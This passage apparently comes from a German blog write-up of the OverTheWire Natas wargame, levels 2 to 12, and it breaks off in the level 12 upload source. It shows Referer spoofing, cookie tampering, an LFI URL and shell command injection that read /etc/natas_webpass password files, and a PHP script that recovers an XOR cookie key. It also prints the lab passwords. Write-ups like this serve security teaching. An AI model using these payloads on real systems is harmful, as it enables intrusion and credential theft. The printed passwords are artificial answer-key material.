<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>&lt;img src<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;files/pixel.png&#34;</span>&gt;
</span></span></code></pre></div><p>Wenn wir nach <strong><a href="http://natas2.natas.labs.overthewire.org/files/">http://natas2.natas.labs.overthewire.org/files/</a></strong> gehen, sehen wir dort eine Datei <strong>users.txt</strong>.<br>
In dieser steht:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#75715e"># username:password</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><h2 id="level-2---level-3"><strong>Level 2 -&gt; Level 3</strong></h2>
<p>Wenn wir uns den Seitenquelltext ansehen, finden wir diesmal nur den Kommentar <strong>&lt;!&ndash; No more information leaks!! Not even Google will find it this time&hellip; &ndash;&gt;</strong>.<br>
Sehen wir uns doch mal die <a href="http://natas3.natas.labs.overthewire.org/robots.txt">robots.txt</a> Datei an, welche bestimmte User-Agenten ausschließen kann, z.B. auch die Bots von Suchmaschinen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>User-agent: *
</span></span><span style="display:flex;"><span>Disallow: /s3cr3t/
</span></span></code></pre></div><p>Der Ordner <strong>/s3cr3t/</strong> wird also von Suchmaschinen ausgeschlossen&hellip; Sehen wir uns diesen mal an.<br>
In dem Ordner befindet sich die Datei Users.txt mit dem Inhalt:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
</span></span></code></pre></div><h2 id="level-3---level-4"><strong>Level 3 -&gt; Level 4</strong></h2>
<p>Bei diesem Level müssen wir den <a href="https://de.wikipedia.org/wiki/Referrer">Referrer</a> veränder. Um das zu machen brauchen wir die Hilfe von Burp. Mit Burp können wir den Datenverkehr unterbrechen und Anfragen bearbeiten.<br>
Wenn wir auf <strong>Refresh Page</strong> klicken und Burp gerade unseren Verkehr unterbricht, können wir unter <strong>headers</strong> den Referrer von <strong>natas4</strong> zu <strong>natas5</strong> ändern.</p>
<p><a href="https://imgur.com/ywmvc52"><img alt="burp" src="https://imgur.com/ywmvc52.jpg"></a></p>
<p>Danach müssen wir das Request nur noch weiterleiten und schon wird uns das Passwort angezeigt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Access granted. The password <span style="color:#66d9ef">for</span> natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
</span></span></code></pre></div><h2 id="level-4---level-5"><strong>Level 4 -&gt; Level 5</strong></h2>
<p>Wenn wir uns einloggen, steht auf der Seite, dass wir keinen Zugriff haben, weil wir nicht eingeloggt sind. Das könnte eventuell daran liegen, dass ein Cookie falsch gesetzt ist.<br>
Mit dem Browser Addon **EditThisCookie **können wir den Inhalt von Cookies sehen und bearbeiten.</p>
<p><a href="https://imgur.com/v3q6uJ3"><img alt="editthiscookie" src="https://imgur.com/v3q6uJ3.jpg"></a></p>
<p>Es gibt also einen Cookie der <strong>loggedin</strong> heißt  und den Wert <strong>0</strong> besitzt. Wenn wir den Wert auf <strong>1</strong> setzen und die Seite neu laden, wird uns das Passwort für das nächste Level angezeigt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Access granted. The password <span style="color:#66d9ef">for</span> natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
</span></span></code></pre></div><h2 id="level-5---level-6"><strong>Level 5 -&gt; Level 6</strong></h2>
<p>Bei diesem Level hier müssen wir das richtige Password für das für <strong>Input Secret</strong> finden. Im Quelltext steht in Zeile 17:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>include <span style="color:#e6db74">&#34;includes/secret.inc&#34;</span>;
</span></span></code></pre></div><p>Wenn wir nun zu <strong><a href="http://natas6.natas.labs.overthewire.org/includes/secret.inc">http://natas6.natas.labs.overthewire.org/includes/secret.inc</a></strong> gehen, finden wir:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$secret <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;FOEIUWGHFEEUHOFUOIU&#34;</span>;
</span></span></code></pre></div><p>Jetzt müssen wir nur noch das Secret einfügen, absenden und geschafft.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Access granted. The password <span style="color:#66d9ef">for</span> natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
</span></span></code></pre></div><h2 id="level-6---level-7"><strong>Level 6 -&gt; Level 7</strong></h2>
<p>Im Seitenquelltext steht in Zeile 21:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>&lt;!-- hint: password <span style="color:#66d9ef">for</span> webuser natas8 is in /etc/natas_webpass/natas8 --&gt;
</span></span></code></pre></div><p>Wenn wir auf <strong>Home</strong> klicken sehen wir die URL <strong><a href="http://natas7.natas.labs.overthewire.org/index.php?page=home">http://natas7.natas.labs.overthewire.org/index.php?page=home</a></strong></p>
<p>Hier können wir eine <a href="http://wiki.hackerboard.de/index.php/LFI_%26_RFI">LFI/RFI</a> Schwachstelle ausnutzen. Dafür müssen wir nur folgende URL eingeben:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>http://natas7.natas.labs.overthewire.org/index.php?page<span style="color:#f92672">=</span>/etc/natas_webpass/natas8
</span></span></code></pre></div><p>Jetzt wird uns das Password angezeigt: <strong>DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe</strong></p>
<h2 id="level-7---level-8"><strong>Level 7 -&gt; Level 8</strong></h2>
<p>Im Seitenquelltext sehen wir, dass unser Input mit der Variable <strong>$encodedSecret</strong> verglichen wird. Dazu wird unser Input erst in Base64 enkodiert, dann umgedreht und schließlich werden die Binär Daten in Hex konvertiert. Um an das richtige Secret zu kommen, müssen wir diesen Prozess umkehren.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$encodedSecret <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;3d3d516343746d4d6d6c315669563362&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">encodeSecret</span>($secret) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">bin2hex</span>(<span style="color:#a6e22e">strrev</span>(<span style="color:#a6e22e">base64_encode</span>($secret)));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Dazu können wir den Interactiven Modus von PHP benutzen:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# php7.2 -a
</span></span><span style="display:flex;"><span>Interactive mode enabled
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>php &gt; echo base64_decode<span style="color:#f92672">(</span>strrev<span style="color:#f92672">(</span>hex2bin<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;3d3d516343746d4d6d6c315669563362&#39;</span><span style="color:#f92672">)))</span>;
</span></span><span style="display:flex;"><span>oubWYf2kBq
</span></span></code></pre></div><p>Das Secret ist also <strong>oubWYf2kBq</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Access granted. The password <span style="color:#66d9ef">for</span> natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
</span></span></code></pre></div><h2 id="level-8---level-9"><strong>Level 8 -&gt; Level 9</strong></h2>
<p>In Zeile 29 vom Quelltext finden wir folgendes: <strong>passthru(&ldquo;grep -i $key dictionary.txt&rdquo;);</strong> Wobei <strong>$key</strong> unser Input ist.<br>
Es wird also ein Linux Befehl ausgeführt. Das können wir ausnutzen. Suchen wir zum Testen mal nach <strong>; ls</strong>.<br>
Durch das Semikolon wird der <strong>grep</strong>-Befehl beendet und <strong>ls</strong> wird ausgeführt. Unter <strong>/etc/natas_webpass</strong> befinden sich die Passwörter für alle Level.<br>
Wir haben immer nur die Rechte, die Datei für das derzeitige und das nächste Level zu lesen. Benutzen wir:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>; ls ../../../../etc/natas_webpass
</span></span></code></pre></div><p>Als Ausgabe werden uns die Passwort-Dateien aller Level aufgelistet. Lassen wir uns <strong>natas10</strong> doch mit <strong>cat</strong> ausgeben.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>;cat ../../../../etc/natas_webpass/natas10
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Output: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
</span></span></code></pre></div><h2 id="level-9---level-10"><strong>Level 9 -&gt; Level 10</strong></h2>
<p>Die Zeichen <strong>;</strong> und <strong>&amp;</strong> werden in diesem Level gefiltert, weswegen wir hier nicht wie in Level 9 vorgehen können.<br>
Allerdings können wir uns <strong>grep</strong> von nutzen machen. Der Befehl grep -i nimmt als ersten Parameter das Suchwort und alle danach folgenden als Datei in der gesucht werden soll. Also können wir einfach <strong>/etc/natas_webpass/natas11</strong> als zu durchsuchende Datei hinzunehmen.</p>
<p>Geben wir <strong>a /etc/natas_webpass/natas11</strong> ein&hellip;<br>
Der Buchstabe <strong>a</strong> scheint nicht im Passwort vorhanden zu sein.</p>
<p>Probieren wir <strong>u /etc/natas_webpass/natas11</strong> aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>Output:
</span></span><span style="display:flex;"><span>/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><h2 id="level-10---level-11"><strong>Level 10 -&gt; Level 11</strong></h2>
<p>Bei diesem Level haben wir einen XOR Verschlüsselten Cookie, welchen wir verändern müssen.<br>
Der Quelltext ist wie folgt:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>[<span style="color:#f92672">...</span>]  
</span></span><span style="display:flex;"><span>$defaultdata <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>( <span style="color:#e6db74">&#34;showpassword&#34;</span><span style="color:#f92672">=&gt;</span><span style="color:#e6db74">&#34;no&#34;</span>, <span style="color:#e6db74">&#34;bgcolor&#34;</span><span style="color:#f92672">=&gt;</span><span style="color:#e6db74">&#34;#ffffff&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">xor_encrypt</span>($in) {  
</span></span><span style="display:flex;"><span>  $key <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&lt;censored&gt;&#39;</span>;  
</span></span><span style="display:flex;"><span>  $text <span style="color:#f92672">=</span> $in;  
</span></span><span style="display:flex;"><span>  $outText <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Iterate through each character  
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">for</span>($i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;$i<span style="color:#f92672">&lt;</span><span style="color:#a6e22e">strlen</span>($text);$i<span style="color:#f92672">++</span>) {  
</span></span><span style="display:flex;"><span>    $outText <span style="color:#f92672">.=</span> $text[$i] <span style="color:#f92672">^</span> $key[$i <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>($key)];  
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> $outText;  
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">loadData</span>($def) {  
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">global</span> $_COOKIE;  
</span></span><span style="display:flex;"><span>  $mydata <span style="color:#f92672">=</span> $def;  
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;data&#34;</span>, $_COOKIE)) {  
</span></span><span style="display:flex;"><span>    $tempdata <span style="color:#f92672">=</span> <span style="color:#a6e22e">json_decode</span>(<span style="color:#a6e22e">xor_encrypt</span>(<span style="color:#a6e22e">base64_decode</span>($_COOKIE[<span style="color:#e6db74">&#34;data&#34;</span>])), <span style="color:#66d9ef">true</span>);  
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">is_array</span>($tempdata) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;showpassword&#34;</span>, $tempdata) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;bgcolor&#34;</span>, $tempdata)) {  
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/^#(?:[a-f\d]{6})$/i&#39;</span>, $tempdata[<span style="color:#e6db74">&#39;bgcolor&#39;</span>])) {  
</span></span><span style="display:flex;"><span>        $mydata[<span style="color:#e6db74">&#39;showpassword&#39;</span>] <span style="color:#f92672">=</span> $tempdata[<span style="color:#e6db74">&#39;showpassword&#39;</span>];  
</span></span><span style="display:flex;"><span>        $mydata[<span style="color:#e6db74">&#39;bgcolor&#39;</span>] <span style="color:#f92672">=</span> $tempdata[<span style="color:#e6db74">&#39;bgcolor&#39;</span>];  
</span></span><span style="display:flex;"><span>      }  
</span></span><span style="display:flex;"><span>    }  
</span></span><span style="display:flex;"><span>  }  
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> $mydata;  
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">saveData</span>($d) {  
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">setcookie</span>(<span style="color:#e6db74">&#34;data&#34;</span>, <span style="color:#a6e22e">base64_encode</span>(<span style="color:#a6e22e">xor_encrypt</span>(<span style="color:#a6e22e">json_encode</span>($d))));  
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$data <span style="color:#f92672">=</span> <span style="color:#a6e22e">loadData</span>($defaultdata);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;bgcolor&#34;</span>,$_REQUEST)) {  
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/^#(?:[a-f\d]{6})$/i&#39;</span>, $_REQUEST[<span style="color:#e6db74">&#39;bgcolor&#39;</span>])) {  
</span></span><span style="display:flex;"><span>    $data[<span style="color:#e6db74">&#39;bgcolor&#39;</span>] <span style="color:#f92672">=</span> $_REQUEST[<span style="color:#e6db74">&#39;bgcolor&#39;</span>];  
</span></span><span style="display:flex;"><span>  }  
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">saveData</span>($data);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;h1&gt;natas11&lt;/h1&gt;  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;div id=&#34;content&#34;&gt;  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;body style=&#34;background: &lt;?=$data[&#39;bgcolor&#39;]?&gt;;&#34;&gt;  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Cookies are protected with XOR encryption&lt;br/&gt;&lt;br/&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">if($data[&#34;showpassword&#34;] == &#34;yes&#34;) {  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">  print &#34;The password for natas12 is &lt;censored&gt;&lt;br&gt;&#34;;  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">}  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">[...]  
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?&gt;
</span></span></span></code></pre></div><p>Im Cookie Editor können wir sehen, dass der Cookie <strong>data</strong> den Wert <strong>ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D</strong> enthält.</p>
<p><img alt="cookiemanager" src="https://imgur.com/Bt7rsUG.jpg"></p>
<p>Außerdem wissen wir dank des Quelltextes wie der entschlüsselte Wert lautet:</p>
<p><strong>&ldquo;showpassword&rdquo;=&gt;&ldquo;no&rdquo;, &ldquo;bgcolor&rdquo;=&gt;&quot;#ffffff&quot;</strong></p>
<p>Eine <strong>XOR Verschlüsselung</strong> ist einfach zu entschlüsseln, wenn man 2 der 3 folgenden Sachen weiß:</p>
<p>Der <strong>verschlüsselte Text</strong>, der <strong>entschlüsselte Text</strong> und der <strong>Schlüssel</strong> der zum verschlüsseln benutzt wird.<br>
Wir wissen die ersten beiden Sachen. Wir können nun die <strong>xor_encrypt</strong> Funktion anpassen, um den Schlüssel herauszufinden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/php
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">&lt;?</span> 
</span></span><span style="display:flex;"><span>$cookie <span style="color:#f92672">=</span> <span style="color:#a6e22e">base64_decode</span>(<span style="color:#e6db74">&#39;ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">xor_encrypt</span>($in)
</span></span><span style="display:flex;"><span>{ 
</span></span><span style="display:flex;"><span>  $text <span style="color:#f92672">=</span> $in; 
</span></span><span style="display:flex;"><span>  $key <span style="color:#f92672">=</span> <span style="color:#a6e22e">json_encode</span>(<span style="color:#66d9ef">array</span>( <span style="color:#e6db74">&#34;showpassword&#34;</span><span style="color:#f92672">=&gt;</span><span style="color:#e6db74">&#34;no&#34;</span>, <span style="color:#e6db74">&#34;bgcolor&#34;</span><span style="color:#f92672">=&gt;</span><span style="color:#e6db74">&#34;#ffffff&#34;</span>));
</span></span><span style="display:flex;"><span>  $outText <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Iterate through each character
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">for</span>($i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;$i<span style="color:#f92672">&lt;</span><span style="color:#a6e22e">strlen</span>($text);$i<span style="color:#f92672">++</span>) 
</span></span><span style="display:flex;"><span>  { 
</span></span><span style="display:flex;"><span>    $outText <span style="color:#f92672">.=</span> $text[$i] <span style="color:#f92672">^</span> $key[$i <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>($key)]; 
</span></span><span style="display:flex;"><span>  } 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> $outText; 
</span></span><span style="display:flex;"><span>} 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">print</span> <span style="color:#a6e22e">xor_encrypt</span>($cookie); 
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Wenn wir die Datei nun ausführen erhalten wir: <strong>qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq</strong></p>
<p>Der Schlüssel ist also <strong>qw8J</strong></p>
<p>Wenn wir die Funktion erneut etwas anpassen, können wir verschlüsseln, was wir möchten.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&gt;</span><span style="color:#75715e">#!/usr/bin/php
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">&lt;?</span> 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">xor_encrypt</span>($in)
</span></span><span style="display:flex;"><span>{ 
</span></span><span style="display:flex;"><span>  $text <span style="color:#f92672">=</span> <span style="color:#a6e22e">json_encode</span>(<span style="color:#66d9ef">array</span>( <span style="color:#e6db74">&#34;showpassword&#34;</span><span style="color:#f92672">=&gt;</span><span style="color:#e6db74">&#34;yes&#34;</span>, <span style="color:#e6db74">&#34;bgcolor&#34;</span><span style="color:#f92672">=&gt;</span><span style="color:#e6db74">&#34;#ffffff&#34;</span>));
</span></span><span style="display:flex;"><span>  $key <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;qw8J&#34;</span>;
</span></span><span style="display:flex;"><span>  $outText <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// Iterate through each characterfor($i=0;$i&lt;strlen($text);$i++) 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  { 
</span></span><span style="display:flex;"><span>    $outText <span style="color:#f92672">.=</span> $text[$i] <span style="color:#f92672">^</span> $key[$i <span style="color:#f92672">%</span> <span style="color:#a6e22e">strlen</span>($key)]; 
</span></span><span style="display:flex;"><span>  } 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> $outText; 
</span></span><span style="display:flex;"><span>} 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">print</span> <span style="color:#a6e22e">base64_encode</span>(<span style="color:#a6e22e">xor_encrypt</span>()); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Wenn wir die Funktion ausführen erhalten wir den Cookie <strong>ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK</strong></p>
<p>Ersetzen wir nun den Wert des Cookies <strong>data</strong> damit, müssen wir nur noch die Seite neu laden und es erscheint der Text</p>
<p><strong>The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3</strong></p>
<h2 id="level-11---level-12"><strong>Level 11 -&gt; Level 12</strong></h2>
<p>Bei diesem Level können wir eine JPEG Datei hochladen. Sehen wir uns mal den Quelltext an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">genRandomString</span>() {
</span></span><span style="display:flex;"><span>  $length <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span>  $characters <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;0123456789abcdefghijklmnopqrstuvwxyz&#34;</span>;
</span></span><span style="display:flex;"><span>  $string <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> ($p <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; $p <span style="color:#f92672">&lt;</span> $length; $p<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    $string <span style="color:#f92672">.=</span> $characters[<span style="color:#a6e22e">mt_rand</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">strlen</span>($characters)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)];
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> $string;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">makeRandomPath</span>($dir, $ext) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">do</span> {
</span></span><span style="display:flex;"><span>    $path <span style="color:#f92672">=</span> $dir<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">.</span><span style="color:#a6e22e">genRandomString</span>()<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;.&#34;</span><span style="color:#f92672">.</span>$ext;
</span></span><span style="display:flex;"><span>  } <span style="color:#66d9ef">while</span>(<span style="color:#a6e22e">file_exists</span>($path));
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> $path;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">makeRandomPathFromFilename</span>($dir, $fn) {
</span></span><span style="display:flex;"><span>  $ext <span style="color:#f92672">=</span> <span style="color:#a6e22e">pathinfo</span>($fn, <span style="color:#a6e22e">PATHINFO_EXTENSION</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">makeRandomPath</span>($dir, $ext);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">array_key_exists</span>(<span style="color:#e6db74">&#34;filename&#34;</span>, $_POST)) {
</span></span><span style="display:flex;"><span>  $target_path <span style="color:#f92672">=</span> <span style="color:#a6e22e">makeRandomPathFromFilename</span>(<span style="color:#e6db74">&#34;upload&#34;</span>, $_POST[<span style="color:#e6db74">&#34;filename&#34;</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">filesize</span>($_FILES[<span style="color:#e6db74">&#39;uploadedfile&#39;</span>][<span style="color:#e6db74">&#39;tmp_name&#39;</span>]) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">1000</span>) {
